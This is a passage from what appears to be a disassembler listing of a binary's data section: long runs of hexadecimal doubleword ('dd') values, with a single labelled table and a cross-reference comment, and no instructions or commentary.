94E46Fh, 8D7DF33Dh, 1D6AA1DAh, 0DF7B3412h dd 380E8EDh, 7D36B579h, 5A1CA48h, 951406DFh, 0E0764CE9h dd 0C46097E7h, 0C70BB1EAh, 76723EB8h, 0AE656048h, 7A17AB14h dd 7830D9B9h, 4A9611FDh, 0C3489AE9h, 0B4713094h, 0AF48C0A8h dd 0C0214B72h, 7F2BC540h, 60E84D97h, 0B54CBF88h, 0C33D7013h dd 43720CE4h, 58FC3A61h, 43C4F8D0h, 0BF6E00E4h, 0B66A0D46h dd 9DED733Ah, 0E5B4ACA2h, 7549CF00h, 0EC22B554h, 4F00B27Fh dd 0B659BCA1h, 9C41A530h, 688F2B65h, 55C75088h, 4B34D440h dd 88C625C1h, 0E6E81490h, 0C9937C00h, 0A0DD4CDCh, 0CC2C0178h dd 0C0A94F67h, 2589BB46h, 44B04640h, 73093817h, 41CDC8E3h dd 7C65EDDCh, 8130DE2Eh, 0BBF9D504h, 23CC82Bh, 0DD53AF00h dd 1D447D8Ch, 8EC9E785h, 0F9955470h, 414F0F00h, 0B0562531h dd 807DC83Ch, 6673D1Dh, 0C0BEC033h, 0ED65C508h, 20792F64h dd 2E00EA2Ch, 0C217BDDDh, 0F0050070h, 1B3C1819h, 75034189h dd 6C7CD2E5h, 2824B24h, 0B8FDA000h, 0CB44AE5Fh, 64B06780h dd 0ADB36126h, 16ACA9D4h, 4DE8CF2h, 16653B8h, 467CA46h dd 0E055C097h, 49133238h, 788866D5h, 0EC408A78h, 4E97C045h dd 2AB91730h, 0BA2C0005h, 352E4928h, 0C4EE1000h, 764145FCh dd 0B2E73D08h, 0C29A5B00h, 54AA7C15h, 0B578EA60h, 0AA5E853Ah dd 79B8E8B0h, 0E48E635h, 1839B3D0h, 0A17D19E7h, 708FD106h dd 0C740C1ECh, 136A1224h, 0F2A0E296h, 4AF530C2h, 0BEE0A919h dd 16105D81h, 1900F6D9h, 9D76CBA1h, 91EE77E1h, 0D4A12FA4h dd 785AF393h, 38CE83C8h, 0DE7E88E3h, 0A06C967Bh, 0B611209Ch dd 0AF9A342Fh, 5B13A90Ch, 7B3ED044h, 0B1103C30h, 95794F05h dd 319ED821h, 57B196ACh, 2B6B9C9Dh, 1D5323E0h, 0D4F55DB0h dd 2F001C9Fh, 2654B2A9h, 1069A1C9h, 98CE679h, 0D48B5A36h dd 141DA456h, 80F44604h, 0AD1FB0F8h, 0DA6181FDh, 2A26077Bh dd 9BA19C03h, 2DA83EFEh, 70960F00h, 648453A9h, 5B2C8600h dd 30FCE31Eh, 0E3314E0Dh, 0E171258Ch, 56AA524h, 338FB898h dd 0C6E01ECCh, 0D092FC70h, 80ECB095h, 0E81A9711h, 0B89D1C1Bh dd 0BA1610F8h, 1C80B709h, 0C448EC89h, 5A0588EEh, 19EB4149h dd 5B58428h, 44A99755h, 15383117h, 99F9841Ch, 71FF1BFh dd 0EBD16F87h, 6716B0D8h, 0CC98B3E3h, 5F7CA271h, 992C6480h dd 98BFA2D1h, 6023E0F8h, 177A127h, 0ACAAACBEh, 78BC247Dh dd 0B70284C7h, 1120942Bh, 0D48F193h, 90146DC9h, 9C0D2BF0h dd 0D3BF02B0h, 0A888CBA6h, 1A226570h, 54D1E190h, 515E2488h dd 78F06071h, 82B2D500h, 0E51784E0h, 499B18DDh, 9EE14015h dd 0DC08F807h, 89B0135Dh, 376B81Bh, 0D250E57h, 0E3905365h dd 9E3745FDh, 1200204Ah, 0E4DEDDC0h, 0B6360264h, 1559F449h dd 30275060h, 69ACE8BDh, 810A0EE3h, 66807005h, 682DFCFDh dd 5ADC8E00h, 8924C91Dh, 254A038Dh, 0DD550F2Ah, 0E4B3A6E8h dd 80DC08B4h, 55CDDA2h, 9F76A5Ah, 4E0829Ch, 979550F8h dd 0E51B8898h, 0EC768460h, 324102BFh, 0B2B3A286h, 11C810FDh dd 602B0035h, 6C6D8D94h, 0C9E8DB20h, 0D9E68000h, 363531E4h dd 0FDD51977h, 0E056592Ch, 12264088h, 0AE074478h, 30E00508h dd 12DD51EAh, 21CEABCDh, 70886718h, 11C06128h, 1DAAC4DFh dd 6FC61297h, 0DD083AEh, 19711018h, 4529599h, 5BE51EF4h dd 5094AD31h, 28AD662Ch, 0F8667608h, 0EE097657h, 72335BDDh dd 222F248h, 0E75EC823h, 85F7B1A4h, 0B440B36Ch, 57591A30h dd 401F5688h, 2324C282h, 404FCCDEh, 0CDE00B18h, 639B0BC3h dd 50FA480Dh, 61763C25h, 0BC222EE0h, 633CAD74h, 41AD6EC6h dd 7AA87EA4h, 885468E5h, 5934A1B0h, 0C0DF0BDCh, 80B7DE0h dd 0C21893F1h, 1ED15E3Ch, 1C440077h, 9EAAB4DFh, 48A220FCh dd 9D46BC3Ch, 8A95CCDDh, 2B741278h, 60B4894Bh, 506440EEh dd 5C3986F1h, 50611238h, 844354A5h dword_4E414C dd 1DE13244h, 9823677Eh, 253171B1h, 240E4Ch, 62F57DFBh ; DATA XREF: ___:off_43ACE4o dd 0FFE2990h, 6512E29Ah, 701392h, 673C2420h, 20BF70C5h dd 0B19596D4h, 8611B077h, 0BC305220h, 97A6F0Ch, 8F481898h dd 17E44D9Ch, 14F8C61Ah, 0C07D4612h, 12B33CFCh, 60B2EF5Ah dd 93587FBAh, 0CF7A1304h, 41ADF806h, 98733110h, 8CBA0608h dd 8CA2918h, 6229C493h, 7CB3049Ah, 8701706h, 20CC1030h dd 0F8221288h, 0F699407Bh, 1518F866h, 4D3E3239h, 4703DF31h dd 0B0101033h, 96D33D5h, 78068CBDh, 7FFC2067h, 7DF708C4h dd 1519BC0Ch, 6E4C6340h, 0FB0C30DAh, 5F625508h, 3F1EE18h dd 104C31A8h, 620863AAh, 0B11832FCh, 41230E59h, 74C01010h dd 0B8331048h, 18117F19h, 30E9881Bh, 214C1B17h, 818C49Bh dd 0B238925Ah, 8908C424h, 216A0C2Bh, 3469C6B0h, 8731085Dh dd 0F5E618A2h, 90720895h, 8852E18h, 5E818B26h, 0A6589452h dd 33095AC8h, 9618263Eh, 0C2E88910h, 1869C610h, 4910D424h dd 0A408C4AFh, 9C0C0ABCh, 10D42995h, 0E510B175h, 495C3137h dd 3F029CD8h, 36958CA2h, 18792B03h, 28C9E908h, 5A81342Fh dd 8D9DE188h, 871B31Dh, 0BE0174A5h, 7B3092ABh, 4C7F0C44h dd 99C47A0Ah, 0E7F9C91Eh, 40531015h, 8BE965FCh, 8C86C44Ah dd 0C3F2588h, 0CA086A7Fh, 6440F962h, 9C28022Dh, 0F192B028h dd 9BE91446h, 8CBB5418h, 492892C8h, 0B4246036h, 0B2C48C40h dd 7E625B08h, 4994B920h, 0C6046664h, 34A889E9h, 180782Ch dd 3910CFC5h, 0D7BF10B0h, 10321310h, 0DD18D50Dh, 8E4408D6h dd 8C8318C6h, 1AFB3208h, 8483688h, 28DDDD4Ch, 407E93D0h dd 79C42F62h, 33062708h, 0DE40716Fh, 0E98A826h, 210CCB4h dd 88A87981h, 88928F68h, 0AA082F62h, 46990535h, 84F7988h dd 66903220h, 0B1502928h, 48DB3531h, 67037BA9h, 0B038C118h dd 0C4A1ED18h, 4DC0E08h, 2C04D01Fh, 44749422h, 0A6869A4h dd 0AE88C08Fh, 0BC7115D3h, 10A39819h, 401C24BCh, 0C6C89D40h dd 96BC9C1h, 920E4940h, 8D44D90h, 99601226h, 889BF972h dd 0CBA5321h, 0DD3861E6h, 62F2B840h, 60E21023h, 0B28869h dd 5C089A05h, 0C80883Bh, 0EB7BF337h, 0A3017894h, 70542B38h dd 244E1081h, 0C30D81AAh, 0B95B6DC0h, 0C48B3F26h, 66195780h dd 25393F2h, 892DC91Eh, 60574AF3h, 2C42491Ch, 6BB8F517h dd 0C6F49800h, 0B5006335h, 2FEFBE3h, 4343C01h, 0CA597EBDh dd 0BD2B0FD6h, 3638E618h, 0E879014Ah, 4BBB9964h, 0DEB880AEh dd 7D3910CAh, 31C23CDDh, 1705F073h, 80B2D0A3h, 0EA96CE8h dd 3D52BC06h, 0E438FF06h, 2F100EAAh, 3C84A2DEh, 0D2CA8C7h dd 0A9EE7514h, 38541C8h, 0FDBCB71Fh, 1805C3E6h, 0C13CBFB5h dd 8A6CD891h, 180FAAC8h, 3804C06Fh, 91070AAFh, 9FEEFF38h dd 0FD94E7F0h, 0B1290125h, 955DB7BBh, 590840A5h, 0D5ADB05h dd 0DAB7ECD1h, 0EF7C6980h, 9E10A36Bh, 0DB125803h, 52F853Ch dd 4D5903C0h, 0E840A1E0h, 0DD0D8E66h, 20ED4E3Ch, 20771081h dd 2B303741h, 609A28D0h, 0F8780112h, 584E0740h, 25188C23h dd 62E686Ch, 3CF072E8h, 3700E1B1h, 113D6470h, 30D44D86h dd 0B310CDFDh, 0DF8384Eh, 0E6702660h, 1BC2271h, 2AAFAC51h dd 8FCD20FEh, 0CC4E02C8h, 3A5D68C3h, 2E00E32Fh, 1B56770Ch dd 856063FEh, 0AB61DD29h, 5D871D37h, 0BA2A0076h, 64DE837Eh dd 0A3E42E07h, 0F2C71BB5h, 12A84880h, 0D09B0A7Ch, 80D854CCh dd 0EAD62E36h, 0B0CEB5AFh, 0E4B72034h, 96AC2Ah, 0B86BD2E3h dd 0A00C3BFDh, 900EB8CAh, 0DEFE63C0h, 9514786Dh, 60493850h dd 40D0A90h, 14001423h, 0D46F55F5h, 0DF4D4060h, 3C111217h dd 0D039C490h, 686D0F44h, 2884E8B6h, 0F308003h, 0B2E85E17h dd 40F0C4A0h, 2A6140A4h, 7AEA597Eh, 12B8D850h, 40A63AE9h dd 38B04E3Eh, 4A294D0h, 0EA4ADE05h, 0DC815237h, 0FAF0C2E6h dd 51DD041Eh, 0AAAA6FDFh, 0E86DC003h, 0D539C140h, 0CE0010BFh dd 0F2BCB0D1h, 256561E5h, 42803520h, 5B7D64h, 7E5D9F95h dd 4E091C9Bh, 90133930h, 9B381D4h, 0A7A1BBB9h, 81B2C024h dd 8043FCA0h, 0DD894510h, 1221531h, 0ED887C6Ah, 41FB3CDCh dd 0F9D613FCh, 0DEDFD325h, 6F67B581h, 24687C56h, 9108F8CAh dd 284F000Eh, 6C8DDCF7h, 1AD90614h, 444510B0h, 1DDF6200h dd 0F4B74366h, 60002C90h, 0F01A11C7h, 0BCCE65h, 1F1B15B2h dd 275E2E37h, 5D126F00h, 0A0DCD0E6h, 0DFA0179h, 0C1B50EE3h dd 31B424F7h, 5272E625h, 27DB02ECh, 0F30D6F0Ch, 7409C8Fh dd 56AA5BF2h, 0E8D56600h, 0C0CC2D63h, 6F770B72h, 0DCE802A1h dd 521D364Bh, 0C5C0E4D7h, 0FFD0F513h, 0E2FA8028h, 0EF6FA400h dd 0B8A2BAF7h, 4EDB0117h, 66652C2Ah, 4C8406Bh, 0E528B26Eh dd 6F244874h, 0C00138D2h, 2485FDF7h, 90315420h, 54FE2A20h dd 0C449779Ch, 56E4820h, 7009F045h, 4E3C0112h, 34684A42h dd 1FBE5BC4h, 1A6D8Bh, 0DD6F41FDh, 8378DE7Ch, 8855FF3Fh dd 986057h, 0D864F531h, 7A5036DDh, 0D46204BFh, 831CAF3Ch dd 0A0E7BA78h, 0F2B31F32h, 1189201Dh, 0C6706B00h, 60033C7Bh dd 0AB982805h, 0FD006F10h, 6512087Dh, 3DD2DBF0h, 0F8000CDCh dd 3CAC0D1Bh, 0B092A590h, 843F0102h, 60372716h, 0E056B6B0h dd 9C98C1D5h, 452A3882h, 94981254h, 8A040E0h, 86E52ECFh dd 5CA5EF18h, 74180E9h, 0B2BF4801h, 0A7942099h, 8A00B316h dd 8057377Eh, 63C508h, 2E7B125Fh, 4DF9E728h, 68CBCF31h dd 0E5F535BBh, 78764C62h, 2CF10972h, 0D478EEFEh, 304E080Ch dd 528A947h, 0E73B6E12h, 24F4278Dh, 0FE3CC8DBh, 18B91D30h dd 4231BCh, 6A3B0192h, 3CF44E18h, 70C0157Eh, 48952017h dd 2C6B0C7h, 0B71080CEh, 8460BE54h, 0BB80A9ADh, 26FC9634h dd 0B30897Ch, 60889007h, 0FF14D876h, 8563828h, 0A8E4302Ch dd 0E0C63C09h, 306F1B20h, 5A82FA4h, 77260FACh, 0B408E44Dh dd 583109A8h, 74764802h, 83594041h, 710480D0h, 0D185C3BAh dd 11808243h, 182B310Dh, 1012FAB8h, 50042984h, 0BA12481Ch dd 0D2DC3000h, 1E5811B4h, 206EFE16h, 0E4E44F51h, 0F8028C20h dd 366FC732h, 3E006067h, 14F40FEFh, 4064125Bh, 0E8E08089h dd 8F3C3422h, 0A889CE65h, 0F27E081h, 2322F0EEh, 0C87B2904h dd 0C8F3680h, 1C664F67h, 0B06856D0h, 2416FF40h, 0F5587CFEh dd 0E7C110C8h, 5978B454h, 0BBC2C018h, 104A07F9h, 10276840h dd 102F3728h, 6F166106h, 1F107A53h, 41ECCCD5h, 5CFDA634h dd 0EEA84322h, 0A94C1BF3h, 0B4790020h, 0AFBDC623h, 0CC432C3Ch dd 0BC28A9C8h, 182590h, 0D612489Ch, 4194CBBh, 29FE7DCAh dd 474C90EAh, 0AC5CBE64h, 1B861F58h, 6FB5F601h, 80348DC4h dd 3BC81CCEh, 86023B43h, 8EED14E6h, 2B0CC871h, 464D8E0h dd 0D56ED7DEh, 6A901960h, 8CA06D08h, 5700BF3Eh, 0CCD60260h dd 2E34C71Bh, 966445F8h, 1898439Fh, 0A6D01C79h, 104D4E0Fh dd 0B184005Ch, 4147C012h, 7830F749h, 214942Bh, 80540B7Bh dd 0CEC9AA60h, 4D9DA400h, 7A5967DEh, 0C540C0ECh, 82CB1AFCh dd 0BC3F1600h, 0EDEE32BAh, 370D07D5h, 0E0122F56h, 59927C9Dh dd 0B366D16h, 0D98564D0h, 6F130B4Fh, 0B020C5F2h, 0F687FDAEh dd 3D0680C0h, 79454Bh, 81F39DCAh, 0FB625B9Eh, 2CE0403h dd 13BB526Fh, 4DFE339h, 0C8A09414h, 0FD264F50h, 70000C9Dh dd 236F60D8h, 0D9C0A98Ah dd 8473A84Ch, 6586B48h, 15D8CC5Ah, 7B3C1220h, 0E74400BCh dd 50288185h, 784E0B08h, 589C0F0Ch, 2D136C1h, 2A7AF001h dd 79CD0CA8h, 60112567h, 29723D80h, 0E4757DA5h, 0F9690403h dd 0C0DC77B5h, 6CC84BCh, 0CF20B490h, 0D8E52CC6h, 0CE17089Ch dd 488AE302h, 4DF0C09Bh, 20F49AB2h, 0ED2406B1h, 1A3D0877h dd 0E330935Ah, 977CC15Ch, 53907C40h, 0C347F28h, 0DA76596Ch dd 0E60032A0h, 6718D261h, 92844DC6h, 0B0314974h, 8326416h dd 0BB84BA0Ch, 0C09419F2h, 0A88A3887h, 3280874Bh, 954A4FD1h dd 372C1863h, 0C09A6424h, 6A14E948h, 0F2D8D01Ah, 4A8E2B1h dd 504BAF9Ch, 0DCCEA600h, 2627E683h, 40C430h, 527E1D57h dd 0D09814E1h, 602B6235h, 0F00828CCh, 7940B02Fh, 53F625F3h dd 0B8AB5024h, 0BC273C14h, 1C511826h, 48E6EE10h, 47D6B025h dd 5B58FD6Ch, 6F14A898h, 4C003D4Ah, 0CAC2A99h, 613F00F2h dd 0A1F4F337h, 0D0B8FFC4h, 0AB0D5603h, 2CB7BAFDh, 0C38A740h dd 0E5C8A984h, 9394D11Eh, 0AF0D00FFh, 9658360Fh, 0BEC536FDh dd 0EEFC8130h, 58570226h, 0BC114F67h, 2028C9A0h, 129B81C4h dd 78A04084h, 0D0D85266h, 4D9B0602h, 0E4A32867h, 4140CE52h dd 5309CAF4h, 80444B36h, 0FB945D7Ch, 0E6FDFC39h, 157930D0h dd 0E73D5580h, 8FD7773Ch, 0B25EF4Eh, 1C600168h, 0DAD188F4h dd 3A461424h, 17A41261h, 0C6F20844h, 3800E313h, 849CD51Eh dd 1F3F26D0h, 5DC880D4h, 0FD7C22AAh, 1DEED01h, 0BCB1D0ABh dd 83CC388Eh, 24F83096h, 150017F2h, 7E8D0AE2h, 0FF39547h dd 5A6B1862h, 6C0007A9h, 0CE2D778h, 5407754Ah, 48BC936Fh dd 10A76B9h, 139C3138h, 0C1147AFFh, 0E5FC704Ah, 4D426094h dd 0D41C486Eh, 0DFB305FDh, 0D0F6EE3Ch, 11FCF12Ch, 5038652Ch dd 1223DA60h, 0A45616D4h, 809474E1h, 493B3C54h, 4D9F480h dd 2FFDACFCh, 0F94093A9h, 3804F14Ah, 98C781B5h, 64179302h dd 654CD4h, 3838C28Eh, 710F1B75h, 0AA4D5CCAh, 0B8939445h dd 6880801Ah, 584CAAF4h, 7B00BDE8h, 0B4373953h, 0D95C08B5h dd 0A0962664h, 40BF023Ch, 609EE9B2h, 2C9CE05Ch, 60B03887h dd 4DB3A796h, 2006D526h, 9253FE86h, 0AB453B88h, 71241278h dd 8B602414h, 26F0DD0h, 0C03FE890h, 286CB8F4h, 9ECA08C4h dd 9CE2FC80h, 51D0A281h, 0B7AC00ECh, 772639A4h, 0FE174B06h dd 5450E9E1h, 289854h, 3D1864EEh, 4A699B0Eh, 0E74ED890h dd 4615C806h, 6F0A0C80h, 0CA58856Dh, 1E0D253Ch, 9C264FF6h dd 0E8084049h, 9AF01378h, 6FF89050h, 0FC9066D1h, 62B2241Eh dd 3846B30Ch, 0B5CE0064h, 0FDC3FE36h, 98CFFA19h, 0A6D7C41Eh dd 67258C0h, 0CD3B0108h, 895961B4h, 94D880C4h, 687A2FF9h dd 51770405h, 0F084F40Eh, 0A800829Ch, 0C56EDDA0h, 50D9FE5Bh dd 279AC73h, 5807C5Ch, 0F4EB944Eh, 6FD8FEE3h, 0A12666D5h dd 7A085CF8h, 0E10400BCh, 717B1229h, 0BDBE5716h, 0A3380807h dd 840056BFh, 972D9B5Fh, 67352E4Dh, 0CFE86A4h, 0C8F64016h dd 29E0F758h, 3C09C858h, 0D8D4C331h, 9CF94DA8h, 16803DACh dd 9983CA27h, 6550A4D0h, 3C75DE98h, 5330226Eh, 0EFD0585Ch dd 0C0847D09h, 7B11B098h, 9C96EE7Ch, 9A39842h, 0A4CB1C05h dd 777BE6B8h, 0D5CBDA0h, 98E5D42Ch, 0F84D1130h, 1FF89AB5h dd 71EAD6DEh, 20A496B9h, 0F6A8A60h, 0D502EC11h, 9CF43Ch dd 444E0632h, 17FCD349h, 0DC02CEFEh, 802C0B53h, 912AD898h dd 3EF0FB2Fh, 18B41710h, 284004Ch, 0FBF09A1Bh, 0D7E5AB03h dd 0B03D8426h, 1827D565h, 18EBB05Ch, 2C0E1F6Ah, 52BB4DAFh dd 4842B0DDh, 6B9C8273h, 4D4CE048h, 294C692Fh, 54043058h dd 3127AF68h, 0F3C00CA2h, 0DA8C17Bh, 0B20E5778h, 0D8A73CDCh dd 12AF0360h, 0A5F8952Fh, 68A04690h, 5DBB6F12h, 0A0A29C94h dd 0B2A0410h, 72D0E208h, 16DE7640h, 30BAA756h, 213747D8h dd 94B39507h, 52F360F6h, 0D02ED31Dh, 0F820EE17h, 0E07300FEh dd 0CD0649C2h, 0AC946672h, 6E78474Eh, 8C84BBD7h, 4F16E090h dd 0D73D104Eh, 12E001DEh, 359FBB11h, 0E90F8066h, 4C3E763h dd 0B6CA4E1Fh, 0C5F198A0h, 40008FF7h, 49B9660Bh, 176264F5h dd 307E8FEh, 185678A0h, 92D06DC1h, 780549E8h, 0B8B1C3FDh dd 59864DC0h, 51266CC2h, 67C94008h, 6232E223h, 80062829h dd 0AD129A90h, 7D220038h, 662D6445h, 2005B03h, 29E85937h dd 2A3C8A06h, 0B868C54Bh, 5942061Ch, 507FFCFEh, 2F66B713h dd 31E94460h, 0B424485Ch, 0C0BC7D39h, 69218052h, 801D4917h dd 0CC220CA4h, 0E5AE6E09h, 9884E478h, 9AD9E60Ch, 0B04D3F7Ch dd 0F293E060h, 43500C2Fh, 321D5CA1h, 13852417h, 0C4C0EDF5h dd 494E0703h, 0A005C11h, 10E0B48Eh, 0B518F186h, 6D91DFCDh dd 0CDE0D34Ah, 60502008h, 0B60F9E6h, 0ECD26E10h, 5004011Bh dd 0D55C6CE6h, 436C3092h, 64612241h, 12F7E474h, 40D4754Dh dd 0E1CE85CCh, 0C20F7CD0h, 0AC95BFA3h, 80EC78AAh, 59126C66h dd 4536A19h, 92F25C00h, 984D3703h, 0DB690E57h, 25CA8E14h dd 0F73C0608h, 7101B9DDh, 56655E83h, 4E4D6E5h, 78543923h dd 8BBB7D80h, 0FDAD4175h, 0B89FA527h, 0E64DECh, 0A0E91A68h dd 0B4BE56D1h, 0EECE18C0h, 7CFC57h, 94EDD2A6h, 3306B3F7h dd 1E24D0ECh, 651FFC69h, 0AA62C0A4h, 82EC0894h, 0A1C66F14h dd 3CE7C440h, 38C7055Ah, 46E4827Bh, 0A144049h, 0FC9887h dd 72751430h, 0ABAFF891h, 0CDFBD404h, 6890D04Dh, 9062853Ch dd 30A0E1Ch, 7CAAB96Eh, 8E540D8h, 57206F0Ch, 4C233C7Fh dd 2ACB4201h, 7010C3F4h, 0F8405400h, 9C4D003Dh, 0B0FA5A6Ah dd 874EA1FDh, 54F08C40h, 5E3D626Bh, 341C00CEh, 6DF4D98h dd 3DA59480h, 7409F917h, 0C60BF6Fh, 0FD2DAFFBh, 17680114h dd 0B02C9F2Dh, 0CB6F2C10h, 7AAB096Eh, 4E0809A0h, 0C864EBE6h dd 0B7B33E01h, 9D14D368h, 1E5C19C0h, 0B85B76h, 0C4ADB4EDh dd 4E3A0A09h, 2B386003h, 0CC30213h, 7AE0FE64h, 48000158h dd 0EB34606Fh, 0CAFF94h, 7D5940C2h, 26D03D5Bh, 8A0830B9h dd 3B6D0184h, 2DEE8CFFh, 0FA94C584h, 0FD0CA8A6h, 1F100CFBh dd 7C44DB5Ah, 0E4A6B09Eh, 3EB0DC24h, 0A0F84034h, 3D61E5FCh dd 9C14C258h, 66DBC8C3h, 87E42E1Dh, 0A2C30BE8h, 54195CE4h dd 0A910C613h, 81610020h, 0F4D420E1h, 255A8C1Fh, 2CA75C00h dd 781E1464h, 0E86149C4h, 18A00327h, 6511FE71h, 0F0775B17h dd 2A0E9005h, 89F144E5h, 287CF828h, 4AE8FB77h, 370430DDh dd 7C019156h, 0A7147A9Eh, 8402E38h, 0DDAA28h, 0B71B350Eh dd 34EF3D56h, 1027CC91h, 86095BCCh, 18E77881h, 0DC465C6Fh dd 6104A4Bh, 88C2614h, 0AB00A55Fh, 29DE03D3h, 0DC5A4C7Dh dd 0B711D030h, 0FE142C2Ah, 8FE49C1Ch, 0B550605Ch, 30389B7Ch dd 63115BF2h, 0A200BC2Dh, 62AB5124h, 4EEECC4h, 5F4BD9F9h dd 0CA0080CCh, 1D0029BFh, 40E6FC06h, 0BEF21Eh, 153BB60Dh dd 7007D0A3h, 5DDEB0DFh, 1E04A265h, 547D0194h, 0E7E09E9Bh dd 7CC9F853h, 0AB5C30h, 0BF30D49Eh, 0FE60FB4Dh, 144832FEh dd 3C060234h, 0D3E510D9h, 8900AC28h, 40E099DAh, 7839E735h dd 0A8D0AEF5h, 603F6A0Bh, 8ADE5E80h, 849C4480h, 1D5491EFh dd 0C1017C24h, 0FC0F204Eh, 0E3EDA5B0h, 606F5448h, 0D2DB311Eh dd 8000F08Ah, 0D98DE587h, 6D390h, 0EA594366h, 6DE62832h dd 0AA217B00h, 0FDB1FBFCh dd 40B04F13h, 88061B04h, 0CD243C89h, 7D8110F2h, 274DA868h dd 80673BC8h, 37002825h, 0DD7077FFh, 7A8A1D3Dh, 0CEF8964Ah dd 0EF69E140h, 0E6021CA4h, 6B0D0973h, 7AE0E1B2h, 650BADCh dd 3D716FBEh, 0A4C117Ch, 422C784Ch, 0F75078E2h, 325B0ADCh dd 0E8785Ch, 0D0829CDAh, 20C98351h, 8CAC08DDh, 1F6F1082h dd 0AA5002Ah, 4A000497h, 558F4F85h, 0FC5CFE7Dh, 5CDDF643h dd 4F7014F2h, 0EB04891h, 0E36C6180h, 30FE1710h, 0CB2015A3h dd 8B00EB58h, 9BD8C1B0h, 9141D43h, 0E16E1FA6h, 0AF12D065h dd 0C6F6B805h, 3C1774E2h, 31A4E162h, 0D700028h, 60990511h dd 1E164208h, 0E4F84036h, 8E7C2277h, 8AD026h, 260904B9h dd 0E4D04CA6h, 89DB0A4Eh, 22F08282h, 0E0C9A262h, 0EF7B29DCh dd 0BA7177EDh, 9008C28h, 0BE85AADEh, 0EA026CA5h, 45D08B0Ah dd 2C3079EBh, 355109D8h, 4B6C5808h, 5408E4C0h, 0C8DC7103h dd 1343D16Fh, 23D0DAC8h, 0C5C866B0h, 1CA2A394h, 4E85A445h dd 30653C9Ah, 3149CC00h, 7644EAFAh, 45C84E16h, 0C8609E40h dd 0FC5BB764h, 0A84E5004h, 100804E1h, 0FDF5246Fh, 0DFA680C4h dd 0FE2A10C2h, 6B4EF59h, 0B3B54E1Eh, 8A9B0938h, 1CE0ADD0h dd 82001798h, 0DE625CB7h, 60CE56D4h, 6DCB2868h, 0B900C506h dd 0FBA5EB41h, 0A04C777Ah, 3EF187ACh, 0E180B8C2h, 5DC5B748h dd 0BF0261F7h, 1033313Dh, 29806030h, 3C2E8997h, 0B3A68408h dd 6F17B8A8h, 77BC8184h, 2EA43980h, 0E7532813h, 20F492DFh dd 40898A6h, 0AEEF9D84h, 4F64B233h, 7D14E403h, 44C3A520h dd 0DB0CACDDh, 0A341A990h, 0A028D431h, 2241DC5h, 566B7C50h dd 2495A45Ah, 0C09361E4h, 8C381ED2h, 0B800FC7Bh, 4F1630FFh dd 0A5509545h, 4D3F3128h, 394C818h, 0C0125984h, 7851491Fh dd 0CE8B6400h, 0C5504DDFh, 0C10CB649h, 1425CC5Ch, 60D6742Ch dd 0ED2EE04h, 42B74404h, 0C2BF093Dh, 0FC83B800h, 70005184h dd 0CA5A40E7h, 0CD9B9D4Eh, 3340FC90h, 0B1F28000h, 0AF0523h dd 371B32E2h, 7C047A52h, 0E6611200h, 21807864h, 0A0D0BCCh dd 3861F3FFh, 5F84333Fh, 343A8B0h, 0E5A54B35h, 0DFC0415Fh dd 58018BCEh, 5A668202h, 1FC81B10h, 99E0B8DEh, 1418A7ECh dd 0D0C316D0h, 0C3F069E8h, 2528DE27h, 0A869C3F4h, 689859DEh dd 37260228h, 0C01D4FF5h, 0BCE13C00h, 0B3E61200h, 113A26E8h dd 0C203D029h, 41CA3Ch, 8269D429h, 0D265AC7Ah, 4CFD2C0Fh dd 216C8033h, 0C0F3294Ah, 0F79A4918h, 7107E5CAh, 58C3ED36h dd 69E70661h, 48770841h, 15106822h, 0CD6C13Eh, 212F284Dh dd 706CAD60h, 37020BA8h, 0B9BBB84Bh, 2E9852C6h, 0E1E8289Eh dd 68F86F16h, 0EC4D0D88h, 0FEDC18FAh, 0ECF1546Bh, 302D7839h dd 0F279A08Bh, 0ED6BDA3Ch, 1F101141h, 8F1A6F10h, 34382895h dd 23CC962Dh, 1AD17F2h, 7AFFCD1Ch, 2320202Bh, 36064F90h dd 0B72E6418h, 206F1841h, 0D60C68C2h, 3F080200h, 4D81BD48h dd 40F36B63h, 0EDDD8801h, 31A7DC35h, 93A02C50h, 0EB9D8E02h dd 0C09E48A4h, 5D867Dh, 0A194DC73h, 79FEDE56h, 314CAF1Dh dd 0B1F8224Ch, 0AD200F3h, 0F47CE52Dh, 0D3612B38h, 11C23C11h dd 76B63420h, 98141668h, 89B00459h, 266200C0h, 9AEA174h dd 603D4CB7h, 6A7D2840h, 984F1740h, 0B87C6734h, 8B49871Bh dd 122008CEh, 213C14D8h, 0BE6EF46Bh, 88655DA5h, 0C0B44940h dd 0D885DE16h, 55C13C87h, 0F6C4BB97h, 9C9095C4h, 0CF00E1CDh dd 84BE1527h, 18B14E6h, 7F73241Eh, 0E8628699h, 600FDD65h dd 7C4D52C5h, 0FC9648E0h, 348F4048h, 0DBB78040h, 19D8C3Ch dd 0D5040B2Ch, 0A10268E0h, 902D628Ch, 313E0712h, 9FE869D0h dd 6B53DD18h, 3C0978B7h, 0E02204B3h, 0B85CF06Ah, 10791142h dd 0F04B2E5h, 70DCD08h, 74D47CA8h, 803D7F3Fh, 0E3747D80h dd 3CDC78DDh, 1684B254h, 1B192301h, 6FA2D0FCh, 420F8038h dd 1A603D5Ch, 155963DEh, 0C89644Bh, 0CC952429h, 0E77E287Fh dd 91557AC0h, 67FE84B0h, 802095B8h, 0BBF66F38h, 9312947Ch dd 4C007DC5h, 9EDE265Fh, 951405E7h, 0E19B5CD0h, 959C39C4h dd 0ECB492A8h, 0F54409Ch, 0C9005090h, 7C830A97h, 720D56EEh dd 4A0300DBh, 0F0187D6Bh, 0BB26FE61h, 0C380B8C8h, 4E16534Fh dd 58786010h, 4D55F684h, 78A4F2EDh, 286F60C4h, 0F190C95Ah dd 6180E010h, 10594CA2h, 0AD894E06h, 0FDFF0C18h, 640AFC9h dd 0C66494F8h, 38B83118h, 65C2FEF0h, 0C0C06090h, 738D27A7h dd 32D0E07Dh, 0E8780C77h, 0C84D4C90h, 39008499h, 0BBCBD8F4h dd 0CAC12D15h, 6300440Fh, 3E8D6FC9h, 0B4B57680h, 933C0454h dd 7D34800Bh, 0C891EB4Dh, 4302E94h, 83D5BB7h, 220B94ECh dd 94A1586Fh, 7CBE47CCh, 0E9CD857Ch, 303C8CE0h, 15580A29h dd 149336Fh, 0FAB1E58h, 56A08F15h, 8BE60018h, 0FBFA5C2Dh dd 7FD200DBh, 0FE5A9FF9h, 2492E8EBh, 7DB10100h, 0FC84F812h dd 12A8B45Ch, 2DFC074Fh, 521BD075h, 3D1A697Dh, 54800EF0h dd 189C3F90h, 0A795484Fh, 46E00742h, 9FDE072Ch, 2A07CE7h dd 0FCC1F06Bh, 2CC206Dh, 0C05B3CFCh, 89BD7C00h, 951FD764h dd 58BE54A2h, 194A7801h, 